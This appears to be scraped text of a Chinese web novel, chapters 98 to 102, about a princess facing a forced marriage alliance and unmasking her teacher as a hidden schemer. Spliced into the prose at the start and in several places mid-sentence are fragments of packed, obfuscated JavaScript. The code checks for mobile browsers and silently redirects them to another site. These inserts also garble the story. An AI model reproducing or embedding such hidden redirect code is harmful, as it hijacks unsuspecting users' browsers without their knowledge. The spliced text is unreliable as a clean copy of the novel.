RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14543626|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。” “我们不听!”北唐使团的人瞬间闹起来,“我们要见大魏皇帝,问问他究竟是怎么想的!” 沈齐见事情越闹越大,有些不可控制,李之夭站在原地不为所动,不知是人群里有哪位大臣忽然把重心引到她身上,嘀咕了一句,“我就说李之夭是个祸害,让她和亲是陛下冲动了,这样的人就该跟着燕国的皇室一样死了才安心,若不是因为她的身份,哪能闹成这样子,还要惊动皇上。” “就是若不是她身份有问题,怎么会导致今天这样的局面。” “我早就在朝上说这个办法不可取,你看看闹成这样。” 渐渐有些许大臣开始附和,一致认为归根结底都是李之夭身份的错。 “若导致两国和平不在,你就是罪魁祸首!” 李之夭端起案上的酒杯,轻笑出声,她能感觉到在场所有目光都落在她身上,白瓷杯小巧,一只手就能包裹住,抬眸扫向闹腾得最欢的那些大臣,一一辨认他们的脸。 最后她猛地一摔,白瓷杯砸在地上,杯中酒水四溅。 “我说我是燕国人,你们认为我居心叵测,行,我接受了大魏公主的封号,听从皇上的命令,做一国公主改做的事,你们又觉得我血统不纯,总之不管我干什么,你们都有反驳我的理由,我自请和亲,全你们女儿无需远嫁能在身边,享天伦之乐的情分。” 李之夭顿了顿,讽刺道,“怎么,都来声讨我,都想要这桩婚事?若是这样是我不识时务了,把你们心中那么好的姻缘不知好歹抢了?” 她指着上方的段兰之,“真正挑拨的罪魁祸首不声讨,反而把罪责全都归结到我身上,我是罪人,你们这群老东西算什么王八蛋子,正事不做,逮着我一个姑娘祸害,大魏建国初期,你们这么闲?闲出屁了!” 有大臣震惊地看着李之夭,“你、你,你说话怎么如此粗俗!” “说话不粗俗,你管得着么你!”李之夭白了他一眼,“既然抢了你们心中的好姻缘,那我不嫁了,哪怕违抗圣旨,我还不乐意了,你们谁愿意自己女儿和亲谁就去,你们自己去抢,去争,别来烦我!” 李之夭说完快步走到段兰之跟前,连常欢正在拿桌上的小糕点要塞到自己嘴巴里,李之夭一把将面前的小桌掀翻,“还有脸吃,不怕撑死,你等长到十五岁,自己嫁去吧!” 从前她念着连常欢是清武帝膝下唯一的孩子,又摊上段兰之那样没脑子的母亲,长歪了也是情有可原,现在心中对她的那份同情心,是一点都没有了。 全是她们活该! 说完出了大殿,溜得贼快,上马车踏雪驾马跑得飞快,生怕有人赶来拦路,径直回了桃花源,下令闭门谢客,谁来都不见。 大殿上的官员面面相觑,想凑到沈齐跟前问他解决的办法,他道,“事到如今,我也没办法,你们不是很想让自己女儿跟五殿下结上这门亲事么,你们自己私下商量商量,宿宁公主不愿意,你们谁家争赢了,就归谁家。” 说完他匆匆离开,留下一脸欲哭无泪的大臣们,见丞相这边走不通,又把主意打到太傅身上,李之夭不是太傅的学生么,他定会帮帮忙的,会场转了一圈都没见到太傅,问了门口的内官,才知道太傅早在皇帝离席的时候就走了。 裴承泽盯着门口浓浓的夜色,方才宿宁公主的模样着实让他另眼相看,还以为她只是个娇滴滴的姑娘,没想到还有这样的经历,忽然笑了。 既然有人带头离席,他也不愿继续待下去,带着北唐使团留下一句‘请你们考虑好后再做答复’。 99. 处置 第99章 宫中宁静,所有路过秀春宫的宫人低头快步走过,不敢往里面多看一眼,生怕里面的风波及自身。 随着妇人传来嘶声力竭的质问声,惊动树梢上的归鸟,孙广全守在外面把秀春宫的奴才往别处赶了赶。 段兰之抱着连常欢跪在地上,她发髻凌乱,衣衫不整,怨愤地看着台上的帝王,“我跟你一路入仕,没有功劳也有苦劳,我本以为你对我有几分情谊在,没曾想你竟是这般嫌弃我。” 清武帝不悦地皱眉,“你还好意思说,当初若不是你那丧良心的娘给我下药,我又怎会和你发生关系,那时我已在朝为官,哪怕居家搬迁到京城,也是带上了你的,这些年你跟在我身边,可曾受到一点苦,我也不曾娶妻,只有你一个人,你还不满意,你想当我正妻,可你看看这些年,你哪有一点正妻样子的!” “你就是看不起我!”段兰之尖叫出声,“我知道你们全家都嫌弃我小门小户出身,我是不如京中城里那些大家闺秀知书达理,但我如今一颗心全都在你身上,你知道入宫,村子里所有人都说我飞上枝头变凤凰,可我在宫里,我着实也诚惶诚恐,心惊胆战啊,连慎!” “你心惊胆战,诚惶诚恐?”清武帝神色讥讽,语言嘲弄,“入宫两年,朕派嬷嬷女先生来你秀春宫教你规矩礼仪,教你修身养性,那些东西怕全都是喂到狗肚子里去了!” 她怔怔瘫坐在地上,不知该如何辩驳,”那些东西如今我都成大人了,何必要学,分明是你故意讽刺我。” 清武帝气得直发笑,指着段兰之半天说不上来一句话,气得抬起手想给她一巴掌,却又横在半空中,迟迟落不下去,“只要有心,什么都不怕晚,你一边抱怨自己出身,却又不肯做出改变,今日宴席上的事,你可知捅了多大的篓子!” 段兰之护着连常欢,“圣旨已下,那李之夭自己不肯嫁,咱们常欢还小,你不准打她的主意,大魏的江山是你连家的,手底下官员朝臣众多,总有人愿意把自己的女儿嫁出去。” 她说着全然忘记方才还在跟清武帝吵架,自顾自说着,“你也只有跟我发脾气的时候才像从前的连慎,而不是如今的帝王,若不是你非要把李之夭带进宫来,哪会有这么多的事,危急常欢的地位,她明明才是大魏的大公主,凭什么每日就要去念书,学琴棋书画,小孩子学这么多,你怎么不让李之夭去,也不让常欢跟在我膝下教养。” “简直不是好歹!”清武帝一甩袖子,明白如今跟她说话也是白费口舌,不管什么,她都认为这是看不起她的表现,“从明日起常欢送去给贤妃抚养,常欢不从小抓起,跟在你身边这些年都变成什么样了,你自己心里没点谱,你肯自身好学,为人通透,常欢也不会不让你教养,段兰之,朕允你妃位,是天恩,不然你根本配不上这样的锦衣玉食,既然你不喜欢宫中的生活,等宿宁和亲后,朕派人把你送到庄子上养着,不得朕的诏令,不许离开庄子半步,往后三年,不得见常欢一面,过了三年,逢年过节,允常欢探望,你跟我之间的情分也只会剩这么多了。” 段兰之瘫软在地上,明黄的衣角从她身边匆匆走过,像是一道风,她仓惶地想去留住伟岸的背影,整个人摔倒在地,指尖残留的触感划走,只握住了夏末夜晚的凉意。 她趴在地上,眼泪不停地掉,连常欢抱着她,一遍又一遍地喊娘,“娘,我想跟你走,娘。” 段兰之侧头擦掉她的眼泪,苦笑出声,“说了多少次,不许喊娘,你得喊我母妃,这是在宫中,不是在宫外,母妃想为你保住大公主的荣耀,斗了两年,还是李之夭她输了,常欢,你才是大魏名正言顺的公主。” 这场闹剧,导致清武帝回到寝宫的时候,总感觉自己脑袋有些发沉和刺痛,眉心跳动,精疲力尽。 他坐在软塌上,手撑着脑袋,孙广全见状赶忙从架子的最上面取下许久不曾用过的小木盒,取出一截香点燃,派人端来安神茶给他喝下。 过了半晌,这种感觉不减反涨,头一阵刺痛,顿时痛苦出声,孙广全让人下去传太医,心中大骇。 难不成皇上毒又发作了? 太医进来帮清武帝探了探脉,拭了拭额上的虚汗,噗通跪在地上,“皇上,这毒跟上次皇上所中毫无差别。” 他哆哆嗦嗦半晌,认命的说完最后半句话,“臣、臣解不了。” 大门合上,秦立山带人围了宫门,里里外外大肆排查一切可疑物件,就连皇帝寝宫外面的一棵草都不放过,寝宫和御书房里,包括上朝的大殿上,凡是一丝可能出现问题的地方,都找人搜了个遍,太医们都在排查最近吃食中是否有毒残留的迹象。 月已正中,李之夭并未入睡,在宴席上她没吃几口,时雨早就料到主子没吃饱,已命人准备好饭菜,等他们回来用饭。 房门敲响,春夏站在门口,她身后还跟着一名身穿黑色斗篷人,斗篷宽大遮挡住脸面,来人身形娇小,是位姑娘,她手中拿着两支绯色翡翠点翠簪。 走进屋子,春夏合上门,时雨将屋里的烛火拨暗了些。 “你晚上来找我,可是出了什么事?” 她点头,“是,苏月清离开后,我依旧留在宫中绣房里,今晚宫里皇上处置段兰之回到寝宫后没多久便传出中毒的消息,跟先前中的毒一样,上次毒是苏月清解的,这次宫里太医来来回回看了好几次,医书都快翻烂了,都没人能解。” 李之夭听闻清武帝中毒,依旧面不改色,她镇定自若的坐在凳子上,跟她聊着别的,目光在桌上的两支簪子上,“得亏你记得帮我把苏月清丢掉的簪子拿回来,璃秋。” 璃秋单膝跪下,“璃秋承蒙主子关照,唯对主子马首是瞻,若非主子让我跟苏月清作对,破坏她不少算盘,整个绣房都快成她的天下了。” “你自己也聪明认真。”她说着把话题绕回到清武帝中毒一事上,“你是怎么出来的?” 璃秋:“我得知消息的第一时间就赶出来了,那时候秦大统领还未封锁宫门。” 说着她似乎想起什么,“主子,之前你让我盯着苏月清,我发现她刚调到皇上宫中做事时,我看到她动了送来的安神香,当时她说懂医术,帮皇上检查安神香,后面我看皇上都没什么事,也就没放在心上。” 李之夭前不久才刚想起一些书中的剧情,不偏不倚,正好是清武帝中毒这段。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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上次舍利一事,璃秋暗中动了手脚,不然孙广全怎么也想不到苏月清胆子大到藏在御书房,璃秋将其转移到苏月清屋子,才能搜出来。 正是出了这样的差错,苏月清在皇帝面前建立的信任土崩瓦解,迫使她不得不提前说清武帝中毒一事,以此保命。 月亮光泽越来越暗,天际隐隐有些发白的迹象,这两日宫里乱做一团,原本她计划好离京城去北唐的时间也不得不往后拖了拖。 她隐隐有些担心纪无涯,下月集上卷看了许久,其中有些不乏是江湖习武之人才知道的话术,线索一点没找到。 担心按照裴淮的势头,能在北唐站稳脚跟。 闭门谢客了几日,倒是有人坐不住了,白日青天胆敢翻墙头。 青年郎君穿着大魏的服饰,手里把玩着一块石头,瞄准方向,朝着李之夭脚附近的池塘扔了出去。 “未来的新娘,我来找你并不违反你们大魏的规矩吧?” 李之夭自然不惯着裴承泽,“拿竹竿子把他捅下来丢出去。” 大门开了又合,小顺子站在门口小道:“五殿下,我们主子说了,现在和亲她不乐意了,你若想和亲,去城里逛逛,拜访拜访大臣,特别是晚宴上叫的最欢的人,看看他们愿不愿意把女儿嫁你,若是愿意,赶紧找皇上说道说道,以免又被人坏了好事。” 裴承泽望着紧闭的大门哑然失笑,拍了怕屁股上的灰尘,无视百姓打量的目光转身就走,心情似乎还莫名的舒畅。 100. 渐渐 第100章 李之夭再见到清武帝已是第五日的时候,这几日裴承泽时不时都会往桃花源递上拜帖。 无一例外全都耿进才全都回绝了,第五日回绝过后,裴承泽转头就去城里晃悠起来,领他四处转的内侍是孙广全认下来的干儿子琥允。 官员大多数生怕自家女儿遭殃,万一真被裴承泽看上了,他脑子一热就去皇帝面前求亲,到时候真是有苦说不出。 也有气节的姑娘主动站出来说自己愿意和亲,裴承泽知道以后,说勉强来的婚事他可不愿意,或者又说姑娘长得太好,怕去到北唐跟着吃不了苦。 家里明珠似的姑娘在他眼里似乎都变成了一种挑剔的错误,然后三天两头往桃花源凑,不消片刻又被赶了出来。 明眼人都看得出来裴承泽怕不是在五天前的宴席上对李之夭一见钟情了,上赶着去找人家,李之夭又不领情。 于是裴承泽直接闹着去宫里找清武帝,要他给个说法,毕竟后日就离开京城,启程回北唐,路上耽搁一个月多,回到北唐都快十一月,入冬了。 清武帝只好把李之夭传唤进宫去,得知消息的洛萤终于找到机会从桃花源溜出去,踏雪跟着她去到城里一处私宅里。 私宅种满花草,智先生正在院中用小锄头帮花草施肥,除杂草,陆海清引着洛萤走进去,洛萤见到智先生的背影时直接就跪了下去。 “义父!”这段时间非但任务没完成,还直接暴露被李之夭抓了,让李之夭活着回到京城,还牵扯进和亲的事情里,洛萤明白自己坏了大计,“义父恕罪,是洛萤没用。” 智先生细细打理着他的花草,“你是怎么暴露的?” 说起这个,洛萤也一头雾水,“我也不知,当晚柳妈妈跟我说乐坊里来了个大客户,不知是哪家的千金小姐,她还试探柳妈妈说话,戒心不小,后来找画师为其画像,那时我正好登台演出,画师的后续是柳妈妈负责的,我中场休息时就被人打晕带走了,我路上虽小心留下香粉记号,在天水城的被李之夭找出来了,后面她对我处处防备,我一日几乎都在昏睡状态,记忆断断续续的,再清明人已在京城了。” 她复盘过去种种迹象,那时她并未对李之夭动手,甚至想利用纪无涯,让他们二人互生嫌隙,好达到目的,刚有计划就被扼杀,这还是从前任务里从未出现的情况。 也想不通是哪里出了问题,洛萤揣测道:“难不成是柳妈妈那边出了问题?被套话而不自知。” 智先生浇了水在树根上,“你先起来回话。” 陆海清端着水盆上前给他净手,“柳妈妈发现你不见了的时候当天晚上来找过我,她一开始不知李之夭样貌,她戴着幕离遮挡,分辨不清,事后回想才后知后觉被套话了,但并未透露什么,或许从你们进入天水城的时候,李之夭便已起了疑心。” “是起了疑心。”李之夭的马车停靠在巷子里,她收起飞鸿传来的消息,说洛萤已离开桃花源,踏雪正跟着,春夏好奇为何要故意放洛萤出去,难不成是怀疑洛萤跟城里的的某人有关联,“洛萤为何无缘无故想杀我,我跟她第一次见面,无冤无仇,无亲无故的,当初燕国也没有这样一号人物,只能受了旁人指使,若指使她的人在京城,桃花源守备故意留她一个口子,洛萤必定会钻出去,借她的手吊出后面的大鱼,不然我为何费力将她带在身边。” 小顺子点头,“她住在桃花源,整日事多,胭脂不是哪家的不用,就来饭菜不合胃口都吵吵嚷嚷说我们虐待犯人。” 李之夭用火折子点燃信纸,仍在马车里的炉子里烧掉,“她一直想找机会出去,这次咱们就给她机会,希望不要让我失望。” “这次出来的机会,是我趁后门守备松懈的时候悄悄溜出来的,后门的侍卫因一位卖菜的大爷把臭鸡蛋倒在墙角,他们围着抓着清理,不然我真没有机会出来。”洛萤接过智先生系着衣袖的襻膊,挂在旁边的架子上,回忆着今日出府的时场景,“义父,有问题么?” 陆海清想了想,这怎么看都像是突发事件,臭鸡蛋的味道大,附近的守卫受不了,加上闹事的大爷,场面混乱,一时疏忽,也是应该。 智先生沉吟半晌,说不好,“中计了,李之夭是什么人,你跟在她身边东奔西跑一个月,她都没把你弄丢过,这次怎么可能轻而易举让你出来。” 洛萤神色震惊,“心机如此之深,她果然不能留在这世上。” 智先生吩咐陆海清,“我们得快走,说不定她的人就在附近。” 宅院的大门被人从外面一脚踹开,洛萤跟着智先生朝后院跑去,他接过陆海清递来的面具,两人覆在面上,谁知刚到后门,飞鸿就在那里等着,长剑出鞘,直指三人,逼退了他们的退路。 后有踏雪追来,前后包夹,今日就要瓮中捉鳖。 “瓮中捉鳖,这次终于摸到智先生的门槛,可飞鸿踏雪他们不会有事吧。”春夏迟疑。 李之夭说不会,“踏雪飞鸿他们武艺高强,哪怕他身边有堪比许归赵南涧的高手,以一敌二的情况胜负难料,只要抓到一人,顺藤摸瓜就会有结果。” 她手里摩挲着断玉,断玉的线索已派人去查,她现在总觉得已经能快看到整件事幕后的真相,她想揭开它,问问智先生,为何不能放过自己,非要斗个你死我活。 “我们进宫吧。” 车夫牵着马车从巷子里出来,绕过民舍,最终回到大道上,驶向皇宫。 只可惜,他们都想错了,智先生和洛萤退回到宅院内,留下陆海清断后,他们从宅子智先生早早留好的暗道里离开。 陆海清以一敌二略显吃力,但逃走明哲保身还是不成问题的,只不过走的时候被飞鸿划伤了手臂。 此番博弈,互为平局。 天色在平白无故刮起的大风下,变得暗沉,风里夹杂着些许凉意,天上随时快下起雨来。 李之夭进宫由内侍领到了御书房,陈太医候在一旁,清武帝坐在椅子上,面色已红润许多,看样子毒已解除,如今已无大碍,只需调养。 裴承泽,沈齐,还有六部尚书都在,扫了一圈,并未见到徐子清,清武帝为她赐座,宫女适时端来茶水。 “等等太傅,毕竟这件事我该给你个交代,听听大臣们和你老师的意见。”清武帝说着睨想裴承泽,“你们北唐的你的婚事能由你做主?” 裴承泽说自然,“最终选谁劳烦魏皇今日拿个决断,上次演戏你们的宿宁公主我实属刮目相看,并不认为若由她和亲会是一桩不美满的和亲,或者有伤两国和气。” 兵部尚书冷笑道:“贵国的六皇子和三皇子偷偷潜藏在大魏,六皇子裴淮火烧我大魏凤山,行刺我大魏皇帝,和宿宁公主,若宿宁公主嫁过去,都不知道此人会做出什么疯事来。” “裴淮十岁在北唐下落不明,不光我,就连父皇都没想到会在大魏,还闹出这么多事来,裴淮有朝一日若是回到北唐都城,父皇一定会严惩不贷,至于三哥……”他顿了顿,“也是意料之外,他在北唐最是老实本分,估计听闻大魏繁华,想来一睹风采,这才闹出误会。” 吏部尚书回怼:“都跑到我天牢闹了,也不知能有什么误会,真是稀奇。” 礼部尚书也接话:“这样一来细想,也不知该信不信你朝的诚意,若出嫁的姑娘,去到北唐,是什么情况都不知道。” 刑部尚书道:“听闻五皇子在北唐名声不太好。” 裴承泽勾唇拱手,目光却落在一直一言不发的李之夭身上,“我这几日打听了消息,你们宿宁公主的评价似乎两极分化,我虽心中意,但万一给人带来麻烦怎么办,会不会还遇到刺杀,万一你们谁当中气不过,又想杀人,这么一看,我觉得比起某些人的做派,我还是能看的。” 场面顿时安静下来,毕竟李之夭遭到刺杀,其中有些人也是出了力的。 正当不知说什么好时,徐子清终于走进来,他身着月色衣袍,神色匆忙,有些气喘吁吁,似乎是赶过来的。 “臣家中有事耽搁来晚了,还请皇上恕罪。” 清武帝摆摆手说不必,“既然人都到齐了,太傅,朕想问问你和亲有何看法?” 他在椅子上坐定,在李之夭和裴承泽身上来回看了一圈,把话题抛给沈齐,“臣以为此事应是和美亲上加亲的好事,你情我愿最好不过,避免日后生出矛盾里,沈相怎么看?” 许久不说话的沈齐懒得看徐子清,意有所指,“太傅什么时候还会在乎起你情我愿了,由你提到的和亲我朝姑娘,谁有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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书中的这段剧情是当时裴淮回都城时,历经千辛万苦,虽然风光,但也狼狈,纪无涯在前头开路,不慎落入五皇子手中,受了重型,最后被裴淮救出来,大半条命都快没了。 李之夭身边有人盯着裴承泽,说他今日收到一封飞鸽传书,李之夭结合书里大概得内容也猜得七七八八,裴淮为了纪无涯,安插苏月清到裴承泽身边,也正是那时候裴承泽对苏月清动了感情。 现在少了这段剧情,李之夭怕裴承泽会把纪无涯杀了。 “你若想用我和亲公主的身份夺权,我可以帮你,甚至能帮你除掉裴淮,但你必须跟我保证你抓到的那个人完完整整的,要是我看到他伤势未好,后果自负。” 天上忽然下起雨来,他们站在走廊下,天上风云翻涌,小顺子和春夏一人拿着伞和披风上前,一起往前走。 裴承泽叫住她,“他是你什么人?” 李之夭顿了顿,她心在对纪无涯的心很复杂,说不上来是什么感觉,但她不想让他死,好不容易找到下月集,好不容易有机会把他最后一次药珠的机会给了她,她还没还纪无涯,不想让他就这么死了。 “他欠我的钱。” 裴承泽再次叫住要离开的她,“可是我早上收到的消息说,他已经被人救跑了,一个十二岁的姑娘干的,你也认识么?” “认识,所以还请你高抬贵手。” 雨越下越大,落在地上的青石板砖上,溅起水花眨眼消散掉,人还未曾出宫,时雨却来找他们了。 她面色有些不好,撑着伞,手里还拿着一张画纸,上面的图案正是,断玉的模样。 “主子,消息来了。” 千防万防,从没想过有朝一日,成败都在一念之间,或者是用人的对错上。 陆海清撑着伞,站在雨幕中,他恭敬道,“李之夭查到我们头上了。” 身穿月白色长袍的老者闻言并没有转身,而他的面前五步的距离,立着的还有一人。 是丞相沈齐。 大雨倾盆,雨珠像断线的珠子哗啦啦落下。 雪伸手接住从屋檐下落下的水珠,屋内传来一阵咳嗽声,她赶忙回头朝着屋子跑去。 “十三师兄!” 纪无涯从床上坐起来,外头大雨声敲打着屋顶,噼里啪啦的很是吵闹。 “我们这是在哪?” “还在北唐边境,十三师兄,外面下雨了。”雪站在门口,背对着他,面上扑来一阵细细的水雾,凉凉的,潮湿的。 纪无涯只觉自己耳朵一阵嗡鸣,还以为雪没有听见,再重复了一遍。 “阿雪,我们在哪?” 101. 对峙 第101章 外头的天像是漏了一样,雨水下个不停,尘世间雾蒙蒙的。 纪无涯站在茅草屋门前,他仰头张望着天,水雾四散,随后转头看向站在身后不知何时泪流满面的雪。 他神色缓和些许,企图缓和气氛,“好端端的哭什么,我不是还捡回了一条命么。” 雪声音嘶哑,“他们都该死,我要去杀了他们!” 她说完才意识到纪无涯现在耳朵已经听不见了,说什么都是无用,只能仍由眼泪跟外面的雨一样往下掉,她身子颤抖,极力克制着心中的悲伤,偏偏瞧见师兄还是一副云淡风轻,丝毫不受影响的模样。 好像自从上次分别之后,一切都变了,寻方死了,赵南涧和许归他们死了,就连缘楼也视他们为仇人。 现在她都觉得过不了多久,师兄也会不在了。 强压在心头的悲痛,随着外面稀稀拉拉的雨声,要从胸口里喷涌而出,雪快步上前抱住纪无涯的腿嚎啕大哭。 哭吧,哭吧,反正现在哭得很大声,哪怕把天都哭塌了,师兄也都听不见。 纪无涯摸了摸她的头,虽然听不见,但他看得见也能感受得到,雪很伤心,他侧头看着外面的雨水,“阿雪,师兄本想脱离缘楼后让你无忧无虑的长大,但现在师兄必要食言,希望你不要怪我。” 雪紧紧拽着纪无涯的衣摆,她哽咽一遍一遍回答,“不怪,不怪,我不怪师兄。” 可越说她心里越发难过,哪怕重复无数次,纪无涯还是什么都听不见,她想说,现在她很乖,很乖,懂得在人前克制自己的情绪,知道退一步海阔天空,自己很聪明,不会再当小孩,现在的她长大了。 可是她懂事的时候,照顾她的两位师兄,都听不到了。 纪无涯指了指雨幕中的青山,“青山雾隐,待天色清明,阳光照下来的时候,终能有见山的一日,阿雪我们该回去了,回璃王身边,我的事还没做完,日后只能劳烦你写给我看了。” 青山隐于雾水里,不见头上的太阳,水车咕噜咕噜转了好几圈,若不是宫中计时的钟声响,都不知时辰竟已到了申时正。 李之夭的马车停在朱雀大街上,雨水打在地上,打在马背上,马匹焦躁地在原地喷了几个鼻息,甩了甩鬃毛上的雨水。 空无一人道上,就算有人瞧见街上的场景都吓得赶紧合上门窗,生怕波及到自己。 马车周围了好多拿刀的蒙面人,就连街道两旁的屋舍顶上都来了弓箭手。 在人群的最后,站着一位年过六十的老者,他带着斗笠,身穿蓑衣,马夫尽力稳住马匹,不让马车失控。 在半个时辰前,时雨因为是从宫里出去的人,宫门的守卫都认得她,所以便放行进去了,她找到李之夭,把断玉的消息马不停蹄地转达过去。 因为就算是她知道智先生的真实身份后,都忍不住大吃一惊,更何况是李之夭,毕竟此人非同一般,所以尽早告诉给李之夭好做准备。 她本想等李之夭回来,是金三娘催促她立即进宫,在出宫前拦住李之夭,只要在宫里,哪怕东窗事发,就还有回转的余地。 “主子,消息来了!” 时雨把这几日利用从前银来庄的人脉打探下来的消息,一五一十转达给李之夭,“此断玉并非民间之物,而是出自宫中,无上皇治理大魏时,为激励自己勤勉,为人身正,曾将一枚玉戒尺分成三断,一截留在自己身边,剩下两份,一份给了丞相沈齐,一份给了太傅徐子清,无上皇后传给了太上皇,想以此继续规劝自己子孙后代修身养性,但因先皇作为,那截断玉被皇上让他下葬,丞相沈齐手中的断玉也随着一块入土了,徐太傅手中的断玉并未一块入土,而是留在了手中。” 李之夭往前走了几步,手中的伞都忘记撑起来,小顺子赶忙捡起雨伞为她撑起来,李之夭手扶住时雨的肩膀,“你此言当真?” 时雨坚定的点头,“绝不会出错。” 她松开了时雨的肩膀,双手缓缓滑落,但也在此时,前段时间洛萤在桃花源见到徐子清时面上被忽略的细微表情此时变得清晰明朗起来。 她见到徐子清的反应首先是愣住,很明显两人相识。 难怪纪无涯不肯告诉她智先生的身份是谁,难怪他千里迢迢也要去宁缘城。 教她的人老师竟然想杀自己,她本以为徐子清跟朝堂上那些视她为眼中钉的臣子不一样,是她尊敬的人,所以从不在徐子清面前设防藏拙,本以为的坦诚,这一切都成为他们师生情分里的猜疑。 李之夭轻笑一声,“是怎么查到的?” “骆师傅找到一名前朝的老工匠,老工匠问了身边曾在大魏待过的工匠师傅,有个师傅是无上皇宫里的老人,他认出来的,还给骆师傅看了玉戒尺的图纸,跟主子手里的花纹一样。” 风卷着披风一角,衣襟烈烈,之前徐子清说的话,现在怎么想都觉得可笑,朝堂上一直谏言处置她的大臣,全都是徐子清门下的学生,而那些不愿赞同徐子清话的人要么贬职离京,要么自请辞官,这是他说的越走越远。 李之夭懊恼,自己怎么不早点发现呢。 本来啊,来到大魏,她就不应该这么轻易相信任何一个人,相信朝堂上任何一个对她好的人。 她能付出真心和感情的,永远只能是自己千挑万选出来的,面对旁人的善意,她唯一尊敬的老师,跟旁人别无两样。 “徐…徐子清狡猾,我们查到他头上的事,恐怕他也知道了,还得麻烦时雨你跑一趟,不管怎么样,我还想再见一见他。” 心中还有好多问题,不问清楚,很难死心。 * “咱们两经历三朝,也就只有在选择重建朝纲上勉强站在统一战线上,其他时候斗得不可开交,我竟不知,已经发展到你想我要死的地步了。” 沈齐负手而立,“缘楼客栈,我就猜到是你。” 徐子清笑了笑,“我无意跟你动手,你我撕破脸对谁都没好处,我只是担心你去缘楼知道一些不该知道的事,妨碍到我,你知道的,我这人,教学生是一回事,他们正直善良,我自己不行了,心中阴暗,他们还年轻,我老了,好的他们来,坏的我来。” 沈齐冷笑:“那是不是该夸奖你的高尚,缘楼我不过是得知一些前朝往事而是,封先的箴言,少不了你在其中推波助澜,不然人家北唐的事,燕魏两朝又怎么能参与进去。” 徐子清叹息:“所以我才不得不除掉你,但机关布置完成后我就后悔了,你吉人自有天相,被纪无涯救了。” 他慢悠悠地回想往事,“若封先说的箴言为真,我为保住大魏,未雨绸缪是应该的。” “所以你也想除掉李之夭,除掉你的学生。”沈齐反问。 “她不是我的学生!” 徐子清忽然情绪激动反驳,衣袖一挥负手转身不想去看沈齐的眼睛。 谁知转身时,李之夭就站在她身后,徐子清思绪有一瞬间的凝滞,只剩雨声哗啦啦的。 李之夭神色凄凄,“原来老师从前说的,都是骗我的。” 有人亲手为你编造了一场梦,但梦境的源头,织梦者却说自己从来都不觉自豪。 徐子清闭了闭眼,他想了很多,想到最后,他的出发点从一开始不都是为了大魏么,“认你这个前朝余孽当学生,是我此生最大的侮辱,你的存在,始终都是那些潜伏在大魏的燕国人心中的向往,只要你一日不死,燕国一日不灭,他们仍抱有复国的期望,李之夭,你的存在,是皇上最错误的一个决定。” 原来之前他说的话,一切早有暗示,只是李之夭不明白,现在真相摆在眼前,不得不接受。 偌大的家国,有人把真心写在脸上,实际上早就没心了。 她想活着都艰难,徐子清的话宛如一把把刀插在她身上,“当初听从皇上的命令认你为学生,也是为了想看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夏末大雨瓢泼,申时钟声缓缓。 宫外的哨声传来,徐子清站在长廊下避雨,他有预感,在未来某个时间里,他和沈齐两人,必要分出个胜负去留来。 “当初断玉丢失的时候,主子你就安排了人守着前朝有关的工匠,只要有人找到他们,幕后之人必须得死。” 陆海清拱手说知道,“我这就去办。” 所以当杀手围攻,陆海清站在杀手后面的时候,李之夭并不惊讶。 她什么都知道了,徐子清也没必要在对她手下留情。 李之夭自己也有自知之明,她去找徐子清对峙,不过是为了时雨争取些时间,让她去搬救兵。 找的不是大魏任何一个人,而是裴承泽。 换做大魏的人,陆海清不会顾及那么多,若是换做北唐人掺和进来,搅得两朝不安,这个罪名他们担不起,陆海清只得暂时撤退。 这场战争,猝不及防展开,最后又不得不堰旗鼓息。 后面徐子清未在对她动手,沈齐倒是来找过她一次,约李之夭在明日出嫁前陪他去钓鱼,踏雪和时雨跟着一块。 “我把他的所作所为告诉给皇上了。” 李之夭诧异,沈齐看上去不像是会告状的人,沈齐身穿白衫,有些懒散地靠在小马扎的靠背上,“我不像会告状的人?” “不像。”李之夭如实回答。 沈齐笑出声来,至于结果李之夭并未询问,清武帝不可能真的惩罚徐子清,或者降了他的官职。 碍于丞相的脸面,禁足遣散暗卫都有可能。 翌日一大早,李之夭穿着大红婚服,拜别清武帝,登上和亲的马车。 由秦立山亲自护送,给足了公主该有的规模和排场。 大队人马,齐齐朝着南方走去。 原本热闹起来的桃花源一夕之间忽然又空了下去。 耿进才他们原来银来庄出来的人也跟着一块陪嫁过去。 越往南方去,天气渐渐有些回暖,过了幕阜关,就是北唐的地盘,十月份的大魏需要一件披风挡风,而北唐这边天气竟还十分炎热 前行的车队忽然停下来,说是前面有人拦路。 飞鸿打探消息回来,神色复杂。 “公主,拦路的人是纪无涯。” 102. 心乱 第102章 十一月初六,是日晴。 在北唐边境宽敞的官道上,和亲的队伍因一名少年的到来停止前进的步伐,他单枪匹马立在队伍的最前方。 裴承泽手底下的人上前在他耳边私语:“主子,他就是前段时间我们抓住的那个人,后来被人救走了,他是璃王的人。” 说到这里,裴承泽也明白此人就是李之夭口中的纪无涯,上下打量一番,少年身形瘦削,面色算不上红润,气息不稳,有伤在身。 李之夭的马车从后面走到前面,李之夭掀开车帘,站在车头上遥遥同他对望。 纪无涯勒紧手中缰绳,他今日穿着最朴素的布衣,头发耷拉在脑后,用根白色的发带随意扎着,额前碎发浮动,从前看上去意气风发的少年,如今竟有几分磋磨摧折之相,神色比以往更加深沉。 跟现在满身华丽服饰,朱罗金翠,明艳动人的李之夭完全相反,一个是天上耀眼的太阳,一个在尘世挣扎,满眼风霜。 李之夭刚想开口说话,纪无涯率先出声了,“谁逼你和亲了?” 随着他话音说出口,和亲队伍的将士矛头纷纷对准他,感受到气氛变得紧张,纪无涯胯.下的马匹也变得焦躁起来。 纪无涯无视现场的环境,“若你不想,现在不在大魏境内,我能带你走。” 